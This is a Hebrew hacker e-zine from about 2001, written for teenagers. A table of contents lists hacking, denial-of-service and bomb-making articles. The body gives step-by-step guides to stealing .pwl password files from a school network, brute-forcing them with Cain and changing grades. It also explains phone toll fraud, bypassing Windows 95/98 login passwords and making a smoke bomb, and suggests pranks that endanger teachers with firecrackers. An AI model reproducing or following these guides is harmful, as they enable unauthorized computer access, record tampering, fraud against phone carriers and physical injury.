HaSaTaN DOS ‫התקפות‬ 278-
279
HaSaTaN yahoomessenger ‫ ול‬MSNmessenger ‫פריצה ל‬ 280
HaSaTaN FTP 281-
282
HaSaTaN ‫ כעזר לפריצה לאתר‬FTP ‫שימוש ב‬ 283
HaSaTaN Fun city 284-
288
HaSaTaN ‫גניבה מהמכונות של הממתקים‬ 289-
291
HaSaTaN ‫ממורשת‬/‫פריצה ל‬ 292-
293
HaSaTaN ‫פריצה למדפסות‬ 294-
296
HaSaTaN ‫ וקבלת דומין בחינם‬ISS ‫פריצה לשרתי‬ 297-
299
HaSaTaN ‫ וכתובות אינטרנט‬Ip 300-
302
HaSaTaN ‫ של מי שגולש באתר‬IP ‫גילוי‬ 303
HaSaTaN ISO-OSI 304-
306
HaSaTaN :2 ‫מילון מושגים‬ 307-
308
HaSaTaN NetBIOS 309-
315
HaSaTaN Novel 316-
320
HaSaTaN Port scan 321-
323
HaSaTaN ‫תקשורת לוינית‬ 324
HaSaTaN )‫ (חשבונות שאלל‬SHELL ACCOUNT 325-
327
HaSaTaN ‫המשפטים שכדאי לומר לשוטר תנועה כשהו עוצר אותך‬ 328
HaSaTaN ‫המשפטים שכדאי לומר לשוטר תנועה כשהו עוצר אותך‬ 329-
330

9
‫‪HaSaTaN‬‬ ‫פריצה ל ‪Fortres‬‬ ‫‪331‬‬
‫‪HaSaTaN‬‬ ‫‪U-D-P‬‬ ‫‪332-‬‬
‫‪333‬‬
‫‪HaSaTaN‬‬ ‫שרתי ‪ FTP‬אם פול טקסטים(באנגלית) ותוכנות‬ ‫‪334-‬‬
‫‪337‬‬
‫‪HaSaTaN & Golgolet‬‬ ‫רוגטקה רגילה‬ ‫‪338‬‬
‫‪Golgolet & HaSaTaN‬‬ ‫מקלע טוש ו גומיות למקלעים‬ ‫‪339‬‬
‫‪Goolgolet & HFM‬‬ ‫מנגנון השעיה לנפצים‬ ‫‪340-‬‬
‫‪341‬‬
‫‪HFM‬‬ ‫פצצת מנורה‬ ‫‪342‬‬
‫‪HFM‬‬ ‫מקלע הכי טוב שיש‬ ‫‪343‬‬
‫‪HFM‬‬ ‫מטען צינור‬ ‫‪344‬‬
‫‪HFM‬‬ ‫פריצה למחשב‬ ‫‪345-‬‬
‫‪346‬‬
‫‪Program44‬‬ ‫איך מגלים ‪ IP‬של מישהו במירק(‪)MIRC‬‬ ‫‪347‬‬
‫‪Program44‬‬ ‫להפיל אתרים וליפרוץ אליהם‬ ‫‪348-‬‬
‫‪351‬‬
‫‪Program44‬‬ ‫נט ספליט‬ ‫‪352‬‬
‫‪Program44‬‬ ‫סגירת תיבות אי מאייל‬ ‫‪353‬‬
‫‪Program44‬‬ ‫שמות מצחיקים‬ ‫‪354‬‬
‫‪HFM‬‬ ‫שרתים שמחזיקים אתרים בחינם ושליחת הודעות לפלאפון‬ ‫‪355-‬‬
‫‪356‬‬
‫‪HaSaTaN‬‬ ‫טיל מים‬ ‫‪357‬‬
‫‪HaSaTaN‬‬ ‫‪WinGates‬‬ ‫‪358-‬‬
‫‪359‬‬
‫‪Crossbow‬‬ ‫פריצה לפורומים‬ ‫‪360-‬‬
‫‪361‬‬
‫‪Crossbow‬‬ ‫פריצה לפריסל (משחק כלפים)‬ ‫‪362‬‬
‫‪Crossbow‬‬ ‫באג ב ‪WINDOS‬‬ ‫‪363‬‬
‫‪Crossbow‬‬ ‫טריקים בטיקיות מיוחדות ב ‪WINDOS‬‬ ‫‪364-‬‬
‫‪365‬‬
‫‪Crossbow‬‬ ‫מציאת חורים באבטחה ע"י ‪SATAN‬‬ ‫‪366‬‬
‫‪Crossbow‬‬ ‫תיקיות סודיות‬ ‫‪367‬‬
‫‪Crossbow‬‬ ‫עקיפת הגבלת ‪ WINDOS‬בהקלטה‬ ‫‪368‬‬
‫‪Crossbow‬‬ ‫כל מני פריצות ל ‪WINDOS‬‬ ‫‪369-‬‬
‫‪371‬‬
‫‪Crossbow‬‬ ‫פריצת הסיסמה של השומר מסך‬ ‫‪372‬‬
‫‪Crossbow‬‬ ‫תקיות שאי אפשר למחוק‬ ‫‪373‬‬
‫‪Crossbow‬‬ ‫פריצה לשולה מוקשים‬ ‫‪374‬‬
‫‪Crossbow‬‬ ‫רוצים להרוס את המחשב בבקשה‬ ‫‪375‬‬
‫‪Crossbow‬‬ ‫תכניקת פצצות‬ ‫‪376‬‬
‫‪Crossbow‬‬ ‫רוצה לשלוח הודעה בעיברית ואין לך עיברית במחשב‬ ‫‪377‬‬
‫‪Crossbow‬‬ ‫המניפסטו העברי של קרוסבוו‬ ‫‪378‬‬
‫‪Crossbow‬‬ ‫קצת על עבודה במערכת הפעלה‬ ‫‪379‬‬
‫‪Golgolet‬‬ ‫פצצת עשן מכדור פינג‪-‬פונג‬ ‫‪380‬‬
‫‪Golgolet‬‬ ‫איך להכין מוקש‬ ‫‪381‬‬
‫‪Golgolet‬‬ ‫איך להכין פתיל‬ ‫‪382‬‬
‫‪Golgolet‬‬ ‫פצצת ‪CO2‬‬ ‫‪383‬‬
‫‪Golgolet‬‬ ‫לחצן פשוט למוקשים‬ ‫‪384‬‬
‫‪Golgolet‬‬ ‫פצצת רפיל‬ ‫‪385‬‬
‫‪Golgolet‬‬ ‫לעבוד על מכונות של משחקים בקניון‬ ‫‪386-‬‬
‫‪387‬‬
‫‪Golgolet‬‬ ‫איך להרגיז\לשגע מורים דרך מחשב‬ ‫‪388‬‬
‫‪Golgolet‬‬ ‫דברים כיפים לעשות בבית ספר – חלק ג'‬ ‫‪389-‬‬
‫‪390‬‬

‫‪10‬‬
Golgolet ICON ‫ החלפת ה‬/ ‫פריצת‬ 391-
392
Crossbow TCP/IP ‫מבנה‬ 393-
394
Crossbow ‫ לשם פעילות בוינדואוז‬User.exe ‫שימוש בקובץ‬ 395
Crossbow )autoexec.bat( ‫קצת על קבצים מיוחדים במחשב‬ 396
microsoft TELNET ‫פקודות של‬ 397-
398
microsoft WINDOS XP ‫מילון מושגים של‬ 399-
484
Gjgj1 ‫אתרי האקינג בארץ ובעולם‬ 485-
487
Gjgj1 ‫איך לקבל כל סיסמה או מספר ויזה‬ 488
Gjgj1 IP ‫אתרי חיזבלה לפריצה ואיך משיגים‬ 489
HFM & Crossbow ‫פתיחה למדור תכנות‬ 490
HaSaTaN Batch 491-
493
HaSaTaN ‫ המשך‬Batch 494-
499
Crossbow Batch 500-
502
Crossbow ‫ המשך‬Batch 503-
504
Crossbow ‫ בעיברית‬Batch 505
Crossbow Batch ‫טימר ב‬ 506-
507
Crossbow Batch ‫משתנים מתקדמים ב‬ 508-
509
Crossbow AWK 510-
511
Crossbow HTML 512-
513
Crossbow JAVA 514-
518
Crossbow JAVA2 519-
525
Crossbow TURBO PASCAL 526-
538
Crossbow ‫שגיעות בפסקל‬ 539-
541
Crossbow TORBO PASCAL ‫שימוש מתקדם ב‬ 542-
549
Crossbow ‫עבודה עם פרמטרים בפסקל‬ 550-
551
Crossbow ‫עוד קצת על פתרון בעיות בשפת פסקל‬ 552-
554
Crossbow ‫קול וצלילים לפסקל‬ 555-
556
Crossbow ‫שינוי סוגי המשתנים בפסקל‬ 557-
558
Crossbow QUICK BASIC ‫שפת‬ 559-
561
Crossbow .A.P.I 562
Crossbow VISUAL BASIC 563-
564

11
‫‪Crossbow‬‬ ‫שימוש באג'נט בויז'ואל ביסיק‬ ‫‪565‬‬
‫‪Crossbow‬‬ ‫עבודה עם קליפבורד בויז'ואל בייסיק‬ ‫‪566‬‬
‫‪Crossbow‬‬ ‫שימוש בצבעים בויזואל בייסיק‬ ‫‪567‬‬
‫‪Crossbow‬‬ ‫משתנים ב ‪VISUAL BASIC‬‬ ‫‪568-‬‬
‫‪569‬‬
‫‪Crossbow‬‬ ‫פעולה עם קבצים בויזואל בייסיק‬ ‫‪570-‬‬
‫‪571‬‬
‫‪Crossbow‬‬ ‫‪VISUAL BASIC SCRIPT‬‬ ‫‪572-‬‬
‫‪575‬‬
‫‪Crossbow‬‬ ‫שימוש באינטראקטיביות ב ‪VISUAL BASIC SCRIPT‬‬ ‫‪576-‬‬
‫‪578‬‬
‫‪Crossbow‬‬ ‫‪VISUAL BASIC WINSOCK‬‬ ‫‪579-‬‬
‫‪580‬‬
‫‪Crossbow‬‬ ‫שימוש ברג'יסטרי בתוך ויזואל בייסיק‬ ‫‪581-‬‬
‫‪588‬‬
‫‪Crossbow‬‬ ‫חשבון בינרי‬ ‫‪589-‬‬
‫‪590‬‬
‫‪Crossbow‬‬ ‫המדריך ללולאות אין סופיות‬ ‫‪591-‬‬
‫‪593‬‬
‫‪Crossbow‬‬ ‫בסיס הארימטריקה המודולרית‬ ‫‪594-‬‬
‫‪597‬‬
‫‪Crossbow‬‬ ‫אריתמטקה מודולרית מתקדמת‬ ‫‪598-‬‬
‫‪600‬‬
‫‪Crossbow‬‬ ‫תיכנות ‪ Shell‬בלינוקס‬ ‫‪601-‬‬
‫‪603‬‬
‫‪ RAZOR‬הוספה ‪HFM‬‬ ‫צור קשר‬ ‫‪604‬‬
‫‪ RAZOR‬הוספה ‪HFM‬‬ ‫תודות‬ ‫‪605‬‬
‫‪ RAZOR‬הוספה ‪HFM‬‬ ‫סוף דבר‬ ‫‪606‬‬

‫‪12‬‬
‫איך לפרוץ לרשת ביה"ס ולשנות ציונים‬

‫טוב ‪ ,‬אני מאמין שכל אחד חלם לעשות את זה ‪...‬‬


‫לפרוץ לרשת של התיכון ולעקוף את החנון של הכיתה בציון בזמן שאתה בכלל לא נמצא‬
‫בשיעורים ‪ .‬היום תלמדו איך להגשים את חלומכם !!!‬
‫זו לא תהיה הפריצה הנוחה לשרת של ‪ walla‬בבית שאתה נח על הכסא בבית שותה קולה‬
‫ואוכל פיצה עם חברים ומספר בדיחות ‪ ,‬זו תהיה פריצה קשה כי תמיד החנפן של הכיתה יכול‬
‫לומר לאחראי – " תסכל את הילד הזה מה הוא עושה ??!?!?" ואז האחראי באה תופס אותך‬
‫ומזיין אותך ואת האימא שלך שמחר צריכה להיות במבנה הכי מאוס על נערי העולם ‪. ..‬‬

‫טוב דבר ראשון לשם הפריצה הציונים צריכים להיות על אותה רשת מחשבים שעליה אתה‬
‫עושה את הפעולה ‪.‬‬

‫טוב נתחיל ‪:‬‬


‫מצרכים ‪:‬‬
‫‪.1‬דיסקט ( חדש שלא יהיו פשלות )‬
‫‪.2‬אומץ‬
‫‪.3‬תוכנית מילוט מוכנה‬

‫שלב ‪1‬‬
‫אתה מדליק את המחשב נכנס ל ‪ windows‬והמחשב מבקש ממך סיסמא ‪ ..‬אתה לוחץ ביטול‬
‫או אישור והמחשב נדלק ‪.‬‬

‫אתה הולך ל ‪.Run‬‬


‫ולוחץ ‪Command‬‬

‫אז נפתח לך חלון ‪Dos‬‬

‫ואתה כותב‬
‫‪:copy c:\windows\*.pwl a‬‬
‫זה מעתיק את הקבצים של הסיסמאות לדיסקט את מוציא את הדיסקט שם בתחתונים ( או‬
‫בכיס (אפה שיותר נוח )) סוגר את חלון הדוס ואתה חף מפשע ‪.‬‬
‫*עבור לשלב ‪2‬‬

‫אם זה לא עובד ואחראי הרשת המזדיין שם הגנה ל ‪( Run‬אבל הוא לא יודע שיש אחד‬
‫שקוראים לו ‪ ) Old-hacker‬כנס ל ‪ Internet Explorer‬ובמקום לכתוב אתר כתוב‬
‫‪C:\command.com‬‬
‫תכניס דיסקט‬
‫לחץ‬
‫‪:copy c:\windows\*.pwl a‬‬
‫*עבור לשלב ‪2‬‬

‫ואם האחראי משחק איתי יותר מידי וחושב שהוא יותר חכם ממני אז פתח את המחשב ולחץ ‪F8‬‬
‫עד שתופיע טבלה ובחר בה ‪ms-dos promp.‬‬
‫וכתוב‬
‫‪:copy c:\windows\*.pwl a‬‬
‫*עבור לשלב ‪2‬‬

‫ואם הוא חסם גם את זה והוא ממש מתגרה בכם וחוסם גם את זה יש פתרון –‬

‫‪13‬‬
‫הכינו דיסקט הפעלה בבית לא משנה איזה ‪. ME\98\95‬‬
‫עושים את זה כך ‪:‬‬
‫נכנסים לחלון דוס ע"י‬
‫‪:Run > command > sys a‬‬
‫הולכים לתיכון ומכניסים אותו ‪...‬‬
‫מחקים קצת עד שיופיע מסך כזה‬
‫‪Microsoft)R( Windows 98‬‬
‫‪.Copyright Microsoft Corp 1981-1998‬‬

‫<‪\:C‬‬
‫וכותבים‬
‫‪:copy c:\windows\*.pwl a‬‬
‫•ועוברים לשלב ‪2‬‬

‫ואם זה לא מצליח אנא צרו קשר איתי ב ‪icq 106836363‬‬


‫או באיי מאייל ‪oldhacker@newmail.net‬‬
‫ואני אסביר לכם עוד שיטות – אני מבטיח שתצליחו ‪.‬‬

‫שלב ‪2‬‬

‫עכשיו אני יסביר איך לעשות את הפריצה המעשית ולהתחבר לשרת לא כתלמידים מסכנים אלא‬
‫כמנהלי הרשת ‪ .‬וכך לשנות את הציונים בתוכנות של המורים ‪ .‬לרוב כ ‪ 99%‬הסיסמאות של מנהל‬
‫הרשת הם אותם סיסמאות של תוכנת הציונים אז לא יהיה לכם בעיה ( גם לרוב אין לתוכנות אלה‬
‫סיסמא‪ -‬כך זה בתיכון שלי ) ‪.‬‬

‫מגיעים הביתה עם הדיסקט שמחים אחרי יום לימודים קשה ‪ (...‬בהמשך המגזין אני יסביר איך‬
‫לעשות אותו כיף וקל ) ‪.‬‬
‫ונכנסים ל ‪ windows‬ופותחים את השלל שיש בדיסקט ורואים לרוב יש שם את הקבצים האלה‬
‫או קבצים דומים ‪:‬‬
‫‪Guest.pwl or student.pwl‬‬
‫‪Admin.pwl‬‬

‫בקבצים אלו ישנה סיסמא מוצפנת וצריך תוכנה כדי לפצח אותה – התוכנה המועדפת עלי היא‬
‫‪ Cain‬ואפשר להוריד בפינת ההורדות באתר שלי ‪.‬‬
‫‪http://freehost18.websamba.com/razor‬‬

‫נכנסים אליה והולכים ל‬


‫‪File > add to list‬‬
‫ומוסיפים את הקבצים שהעתקתם קודם ( עדיף להקליט את הקבצים להארד דיסק וכך הפעולה‬
‫תהיה מהירה בהרבה ) ‪.‬‬
‫בודקים קודם ב ‪ Configure‬שה ‪ V‬עומד על ‪.Brute force attack‬‬
‫לוחצים על הקובץ של מנהל הרשת עם הכפתור הימני ולוחצים ‪. Attack‬‬
‫לכו לשתות קולה או לטייל עם הכלב והתוכנה תנסה לפרוץ – זה ייקח זמן יכול להיות גם כל‬
‫הלילה ‪.‬‬

‫אחרי שאתם מצאתם את הסיסמא אתם הולכים לתיכון ונכנסים עם השם משתמש של שם‬
‫הקובץ של מנהל הרשת ועם הסיסמא וכל המחשב פתוח בפניכם וכל "השכנים ברשת " ‪...‬‬
‫עכשיו העבודה קלה‪ -‬תמצאו את תוכנת הציונים ותשנו לכם את הממוצע ל ‪ 9-10‬ותגידו תודה‬
‫רבה ל ‪ Old-hacker‬או לבייל גייטס שעשה מערכת הפעלה שעשה מערכת שכל‪-‬כך קל לפרוץ אליה‬
‫‪.‬‬

‫‪]By Old-Hacker [I.C.F‬‬

‫‪14‬‬
‫שיחות חינם בפלאפונים של נוקיה כל הגרסאות‬

‫בדקתי את זה וברשת סלקום זה עובד בטוח – נכון ל ‪ 7‬באפריל ‪. 2001‬‬


‫כדי לנסות את זה באורנג'‬

‫טוב אז ככה קודם אני אסביר על איזו שיטה זה עובד שלא תישארו ‪ Lamer‬ים‬
‫שרק יודעים לעשות ולא יודעים למה ? ‪.‬‬
‫כשאתם מתקשרים למשטרה ואמבולנס ולמכבי אש זה לא עולה לכם כסף ‪...‬‬
‫אז אפשר לתכנת במכשיר שהמספר של המשטרה הוא מספר של חבר שלך וככה כשאתה‬
‫מתקשר לחבר המכשיר חושב שאתה מתקשר למשטרה וככה זה לא עולה לך כסף ‪.‬‬

‫‪.1‬כותבים קוד טכנאי שהוא‬


‫*‪#12345#3001‬‬
‫מקישים את ה ‪ 3‬ראשון = משמאל לימין‬

‫‪.2‬הולכים בתפריט ל ‪Emergency Numbers‬‬


‫•יהיו שם מספרים של המשטרה בישראל ‪,‬אמבולנס ומכבי אש ( ‪)102 , 101 , 100‬‬

‫‪.3‬ומשנים את מספרי החירום למספר שאתם רוצים להתקשר אליו חינם ‪.‬‬
‫‪.4‬מכבים את המכשיר ‪.‬‬
‫‪.5‬מחכים קצת = ‪ 20\ 10‬שניות ‪.‬‬
‫‪.6‬מדליקים ומנסים לחייג את המספרים שכתבתם ‪.‬‬
‫‪.7‬אם הכל עובד – אתם כותבים את אחד המספרים שכתבתכם ב ‪ Emergency Numbers‬ועל‬
‫המכשיר תופיע ההודעה הבאה ‪Attemping Emergency Call :‬‬
‫או בעברית " מנסה ליזום שיחת חירום " ‪.‬‬

‫וזהו ‪ ...‬יש לכם שיחות חינם ‪ ,‬תדברו חופשי ‪...‬‬

‫אפשר לעשות את אותו דבר עם כל סוגי הטלפונים – על אותו עיקרון – שינוי מספרי שיחות‬
‫חירום ‪ .‬בהצלחה‬

‫‪]By Old-Hacker [I.C.F‬‬


‫*לא עובד לזמן הוצאת המאמר – סלקום עלו על זה *‬

‫‪15‬‬
‫מה כדאי לעשות בבית הספר‬

‫זה טקסט קצת דפוק ( אני מודה ) אבל סתם כדי לצאת מהשגרה הבאתי לכם כמה שיטות ‪.‬‬

‫אני אתן לכם ‪ 11‬שיטות להנאות מביה"ס מהגרוע ביותר למוצלח ביותר ‪.‬‬
‫‪ .11‬ללמוד‪(.‬חחח‪)...‬‬
‫‪ . 10‬לשים למורה לפני שהוא בא דבק על הכיסא ואז הוא מתיישב לאיזה חצי שעה ולא קם ‪...‬‬
‫‪.9‬להדביק ג'לי מגעיל על התקרה ואז כשהמורה יכנס לכיתה הג'לי ייפול לו על הראש והוא לא‬
‫ישים לב ‪.‬‬
‫‪.8‬לשים פתק על הגב של המורה – הכי בטוח וגם מצחיק ‪.‬‬
‫‪.7‬לכתוב בשירותים על הדלתות בגרפיטי ‪.‬‬
‫‪.6‬להביא פצצת סרחון ולזרוק לחדר מורים בתחילת היום ‪.‬‬
‫‪.5‬להוציא את הנייר טואלט מהשירותים ולהכניס אותו לאסלות בתחילת היום להוריד את כל‬
‫המים ולבוא ב ‪ 5‬לשמונה ולראות אקווריום ולא תיכון ‪.‬‬
‫‪.4‬לשים למורה בלון פלוצים ‪ ...‬ממש מצחיק ‪ (.‬אולי זה לא בעצם ) ‪.‬‬
‫‪.3‬לקחת את הנפצים הקטנים האלה שמוכרים אותם ב ‪ 50‬ל ‪ 3‬שקל – ולשים אותם מתחת ליומן‬
‫של הכיתה ‪ ,‬המורה יבוא וידפוק את היומן על הנפצים ואז הוא יקבל הלם ‪(.‬במקרה טוב הוא‬
‫יהיה חירש‪-‬סתם‪...‬לא יפה)‪.‬‬
‫‪ .2‬לטלפן לביה"ס ולעשות כאילו אתם ההורים של איזה ילד ולהגיד שאתם חייבים שהוא יחזור‬
‫הביתה בגלל אירוע משפחתי ‪ -...‬המזכירה תשחרר אותו והוא יגיע הביתה ולא ידע למה ‪( . ...‬או‬
‫לעשות את זה לכם כשאין לכם כוח ללמוד )‪.‬‬
‫‪.1‬‬
‫הדבר הכי פצצה‬
‫ללכת למזכירות ולבקש לטלפן לאחיך ולהגיד שזה בגלל אירוע משפחתי וזה דחוף‪ – ...‬אז במקום‬
‫להתקשר לאחיך תעשה לטלפון עקוב אחרי למספר ארוטי ‪ ...‬ואז כל מי שמתקשר לביה"ס‬
‫מתבייש בו וחושב שהוא הגיע למספר ארוטי=חחחח (את המספרים אפשר להשיג בכל סוף עיתון)‬
‫‪.‬‬

‫‪By Old-Hacker‬‬

‫‪16‬‬
‫שיחות חינם בטלפונים שעובדים על טלכרטים‬

‫כעת אני ילמד אתכם איך לזיין את "נזק" ולהשתמש בשירות גוביינא כדי לקבל‬
‫שיחות חינם ‪– .‬אחרי שתקראו את הפרק הזה אתם תגידו ביי לטלפון בבית ‪.‬‬
‫מצרכים ‪:‬‬

‫‪ .1‬צליל של ‪ – Coin Collet‬אפשר להוריד בפינת ההורדות באתר שלי ‪.‬‬


‫‪ .2‬אוזניות‬
‫‪ .3‬ווקמן\דיסקמן\ ‪ \ Mp3Player‬מיני דיסק – בקיצור כל דבר שאפשר להשמיע אייתו את‬
‫הסאונד ‪ (.‬לאנשים מיוחדים – תנסו להתאמן לשרוק את הצליל – בצחוק –אף אחד לא הצליח‬
‫ולא יצליח ) ‪.‬‬

‫הפריצה‬

‫קודם כל מקליטים בבית על מכשיר ההקלטה (למשל ווקמן ) את הצליל‬


‫אח"כ הולכים לטלפון ציבורי ומחייגים‬
‫‪142‬‬
‫מצמידים את האוזניות לטלפון‬
‫מחכים ‪ 3\2‬שניות אחרי שעונים ומשמעים את הצליל לטלפון ויש קריין שמבקש ממך שתכניס‬
‫סיסמא ‪.‬‬
‫הסיסמא היא אחד מהאפשריות הבאות ‪:‬‬
‫‪0000001‬‬
‫‪0000002‬‬
‫‪0000003‬‬
‫‪0000004‬‬
‫‪0000005‬‬
‫‪0000006‬‬
‫‪0000007‬‬
‫‪0000008‬‬
‫‪0000009‬‬
‫‪00000010‬‬
‫מתחילים משמאל ‪.‬‬
‫*הסיסמא אחרי כל שיחה משתנה ‪.‬‬
‫תנסו את כל ‪ 10‬האפשריות וכשתגלו את הסיסמא תשמעו צליל של קו ותחייגו לאן שבא לכם ‪.‬‬
‫יש לכם עכשיו טלפון חינם‪.‬‬
‫‪]By Old-Hacker [I.C.F‬‬

‫‪17‬‬
‫פצצת עשן‬

‫אני אלמד אתכם עכשיו איך להכין פצצת עשן !!‬

‫חומרים ‪:‬‬
‫הקרטון של המחברת (עדיף קרטון חלש )‬
‫דבק‬
‫חול‬
‫‪ 3‬קופסאות גפרורים‬
‫נייר דבק‬
‫נייר‬

‫הוראות הכנה‬
‫לוקחים ת' מחברת ומפרקים לה את הצורה – סתם‪...‬‬

‫‪ .1‬לוקחים את הקרטון וחותכים מרובע ‪.‬‬


‫‪ 2‬מדביקים עם נייר דבר‬
‫‪.3‬לוקחים את הראשים של הגפרורים ומפרקים אותם (גפרור אחד משאירים)‬
‫‪.3‬לוקחים דבק וחול מערבבים ויוצא כזאת עיסה ‪ ,‬שופכים אליה את ראשי הגפרורים‪.‬‬
‫‪.4‬מבאים נייר ארוך ושמים אותו מסוף הקרטון להתחלה ומוצאים בערך ‪ 3‬ס"מ מהקרטון‪.‬‬
‫‪.5‬עושים מהכל גליל ‪.‬‬
‫‪ .6‬מדליקים את הנייר שנשאר בחוץ עם הגפרור שנשאר ‪ -‬יש עשן(הרבה‪ ... )...‬אם תשימו יותר‬
‫גפרורים יהיה יותר עשן ‪.‬‬

‫איור ‪:‬‬
‫ככה בערך אמור לצאת‬
‫______________________________‬
‫&*&*&*&*&**&**&*&*&*****‬
‫&*&*&*&*&*&*&*&*&*******‬
‫<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<‬
‫&*&*&**&*&**&*&*&**&&***‬
‫_&&*&*&&*&&*&*&_&****____‬
‫בהתחלה כדי לשים יותר ראשי גפרורים מדבק – כדי שיידלק טוב ‪.‬‬

‫מקרא ‪:‬‬
‫_ = גליל‪.‬‬

‫& = עיסה של הדבק והחול ‪.‬‬


‫*=ראשי גפרורים ‪.‬‬
‫<<< = נייר‬

‫‪[By Old-Hacker [I.C.F‬‬

‫‪18‬‬
‫פריצת סיסמאות ‪Windows95/98‬‬

‫כתבתי את הכתבה הזאת כדי להראות לכם כמה שהווינדוס שלכם לא מוגן‪.‬‬
‫בעוד עשר‪ ,‬חמש עשרה דקות‪ ,‬כשתגמרו כבר לקרוא את הכתבה‪,‬‬
‫אתם תעריכו את המערכת הפעלה שלכם הרבה פחות‪ ,‬את עצמכם הרבה יותר‪,‬‬
‫ותוכלו להראות לחברים שלכם איזה ידע נפלא יש לכם‪ .‬אבל הכי חשוב‪,‬‬
‫תוכלו לחדור לכל מחשב שמותקן עליו ‪ Windows95/98‬אפילו אם הוא מוגן עם סיסמא‪.‬‬
‫רק דבר אחד לפני שאנחנו מתחילים ‪ -‬הפריצה הזאת היא פריצה לוקלית‪ ,‬מקומית‪.‬‬
‫כלומר היא עובדת רק אם יש לכם גישה פיזית למחשב שאליו אתם חודרים‪ .‬יעיל מאוד במקרים‬
‫הבאים‪:‬‬
‫בי"ס‪ ,‬מפעלים‪ ,‬בנקים‪ ,‬חנויות‪ ,‬חברים‪ ,‬וכו'‬

‫הגנת סיסמא‬

‫דבר ראשון‪ ,‬כדי להראות לכם איך לפרוץ את הסיסמא‪ ,‬צריך קודם להגן עם סיסמא‪.‬‬
‫איך אפשר לפרוץ משהו שלא קיים? אי אפשר‪.‬‬
‫לכן אם הווינדוס שלכם עוד לא מוגן בעזרת סיסמא‪ ,‬עשו את הצעדים הבאים‪:‬‬

‫לחצו על התחל‪ ,‬אפשרויות‪ ,‬לוח בקרה‪.‬‬


‫עכשיו לחצו על סיסמאות‪ ,‬תבחרו סיסמא שתוכלו לזכור‪ ,‬ותקלידו אותה‪.‬‬
‫התחילו את המחשב מהתחלה‪ .‬כמו שאתם רואים‪ ,‬הווינודס יבקש סיסמא‪ .‬כיתבו סיסמא לא‬
‫נכונה‪.‬‬
‫מה קרה?‬
‫עכשיו כיתבו את הסיסמא הנכונה‪ ...‬מה קרה הפעם?‬
‫כמו שאתם רואים‪ ,‬אי אפשר להיכנס לווינדוס בלי לדעת את הסיסמא‪ ,‬נכון?‬

‫‪ =====---‬לא‪ ,‬לא נכון! =====‪---‬‬

‫פריצת הסיסמא‬

‫אני אראה לכם פה כמה שיטות‪ ,‬אנא נסו את כולם‪.‬‬


‫אח"כ תבחרו את זו שאתם הכי אוהבים‪ ,‬ותעשו חיים‪.‬‬

‫שיטה מספר ‪1‬‬

‫* התחילו את המחשב מהתחלה‬

‫* לחצו ברציפות על כפתור ה ‪ F5‬הרבה פעמים בלי להפסיק‪.‬‬

‫מה שיקרה זה שהוונידוס יתחיל במצב ‪Safe Mode‬‬


‫מצב זה נועד לתיקון תקלות בווינדוס‪ ,‬ולכן אינו מבקש סיסמא‪.‬‬
‫אומנם הכל ייראה קצת מוזר‪ ,‬ולא תוכלו להתחבר לאינטרנט‪,‬‬
‫אבל כל התוכנות יעבדו חלק‪ ,‬ויש לכם גישה להכל‪.‬‬
‫אם הסיסמא נועדה לדוגמא להגן על קבצי טקסט מסוימים‪,‬‬
‫אז הרגע שברתם את ההגנה העלובה‪ ,‬ואתם יכולים לגשת לקבציי טקסט ה"מוגנים" האלה‪.‬‬

‫שיטה מספר ‪2‬‬


‫* התחילו את המחשב מהתחלה‬

‫* לחצו ברציפות על כפתור ה ‪ F8‬הרבה פעמים בלי להפסיק‪.‬‬

‫‪19‬‬
‫אתם תקבלו תפריט שייתן לכם לבחור איך להתחיל את המחשב‪ .‬בחרו ב ‪Command prompt‬‬
‫‪only‬‬
‫מה שיקרה זה שהמחשב ייכנס לדוס‪ .‬למי שלא מכיר‪ ,‬דוס זה בעצם מערכת הפעלה שפועלת ע"י‬
‫פקודות מהמשתמש‪.‬‬
‫ווינדוס בעיקרון מבוסס על הגרעין של דוס אבל לא חשוב‪.‬‬
‫עכשיו הקלידו את השורה הבאה ולחיצו על מקש ה ‪:Enter‬‬

‫‪rename c:\windows\*.pwl c:\windows\*.xxx‬‬

‫מה שבעצם קורה פה זה הדבר הבא‪:‬‬


‫מכיוון שאתם לא נכנסים לווינדוס עדיין‪ ,‬אז אתם לא צריכים להקליד סיסמא‪.‬‬
‫עכשיו‪ ,‬כשאתם כן צריכים להקליד סיסמא‪ ,‬כלומר כשאתם כן נכנסים לווינדוס‪ ,‬אז איך המחשב‬
‫יודע אם הסיסמא‬
‫שכתבתם נכונה או לא? פשוט מאוד‪ .‬הוא משווה את מה שאתם כתבתם לסיסמא האמיתית‬
‫שנמצאת בתוך קובץ על‬
‫המחשב‪ .‬אם מה שכתבתם תואם למה שבקובץ‪ ,‬הוא יודע שזה הסיסמא הנכונה‪ ,‬אם לא‪ ,‬אז הוא‬
‫יודע שלא‪.‬‬
‫עכשיו‪ ,‬אם כך אז כל מה שהאקר צריך לעשות זה לפתוח את הקובץ ההוא‪ ,‬ואז הוא יודע את‬
‫הסיסמא‪ ,‬נכון?‬
‫לכן מה שמיקרסופוט עשתה זה הצפינו אותו ע"י פעולה מתמטית‪ ,‬כאשר כל פעם שהם משווים‬
‫בין הקבצים‬
‫הם עושים את אותה הפעולה למה שהקלדתם ואז משווים‪ ,‬כך אם תפתחו את אותו הקובץ‪,‬‬
‫הסיסמא תיראה באותיות לא מובנות ולא תוכלו לדעת מה היא אלא אם כן תדעו את אותה‬
‫פעולה מתמטית ואז תתכנתו משהו שעושה את אותה הפעולה אבל הפוך‪.‬‬
‫הבעיה שלא תוכלו לדעת מה היא אותה פעולה מתמטית‪...‬‬
‫בכל מקרה‪ ,‬אנחנו לוקחים את אותו הקובץ (‪ ,).pwl‬ומשנים אותו ל ‪.xxx‬‬
‫כמו כן תוכלו לשנות אותו לכל דבר אחר‪ ,‬לדוגמא‪:‬‬

‫‪rename c:\windows\*.pwl c:\windows\*.fuk‬‬

‫העיקר הוא שלקובץ לא יהיה שיוך‪ .‬כלומר שהווינדוס לא יזהה את סוג הקובץ‪ .‬לדוגמא אל תהפכו‬
‫את זה ל‪:‬‬
‫‪ - .jpg‬גרפיקה‬
‫‪ - .gif‬גרפיקה‬
‫‪ - .bmp‬גרפיקה‬
‫‪ - .txt‬מסמך טקסט‬
‫‪ - .doc‬מסמך של וורד‬
‫‪ - .ppt‬מסמך של פאור פוינט‬
‫‪ - .mp3‬קובץ סאונד‬
‫‪ - .wav‬קובץ סאונד‬
‫‪ - .mid‬קובץ סאונד‬

‫אני חושב שקלטתם את הרעיון‪...‬‬


‫עכשיו‪ ,‬תתחילו את המחשב מהתחלה‪.‬‬
